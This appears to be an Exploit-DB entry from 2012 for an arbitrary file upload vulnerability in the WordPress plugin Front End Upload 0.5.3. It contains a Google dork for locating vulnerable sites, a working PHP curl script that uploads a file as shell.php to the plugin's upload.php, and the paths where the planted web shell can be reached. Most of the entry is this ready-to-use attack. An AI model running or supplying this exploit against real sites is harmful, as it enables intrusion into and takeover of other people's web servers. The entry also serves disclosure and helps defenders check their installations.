WordPress Plugin Front End Upload 0.5.3 - Arbitrary File Upload

Author: Adrien Thierry
type: webapps
platform: php
port: 
date_added: 2012-06-07 
date_updated: 2012-06-07 
verified: 1 
codes: OSVDB-82791 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comfront-end-upload.0.5.3.zip

# Exploit Title: Wordpress front-end-upload 0.5.3 Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/front-end-upload/
# Date: 31/05/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage: http://mondaybynoon.com/20120102/announcing-front-end-upload-wordpress-plugin/
# Software Link: http://downloads.wordpress.org/plugin/front-end-upload.0.5.3.zip
# Version: 0.5.3


*** FRONT-END-UPLOAD PRO is probably vulnerable ***

page upload.php is vulnerable to Remote File Upload. Code :

<?php
$u="whatelse.php";
$c = curl_init("http://server/wp-content/plugins/front-end-upload/upload.php");
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS,
array('file'=>"@$u",'name'=>"shell.php"));
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$e = curl_exec($c);
curl_close($c);
echo $e;
?>


If plugin isn't active, shell could be found at :
	http://server/wp-content/plugins/front-end-upload/FEU_DESTINATION_DIR/shell.php
else
	http://server/wp-content/uploads/iti_feu_uploads/shell.php

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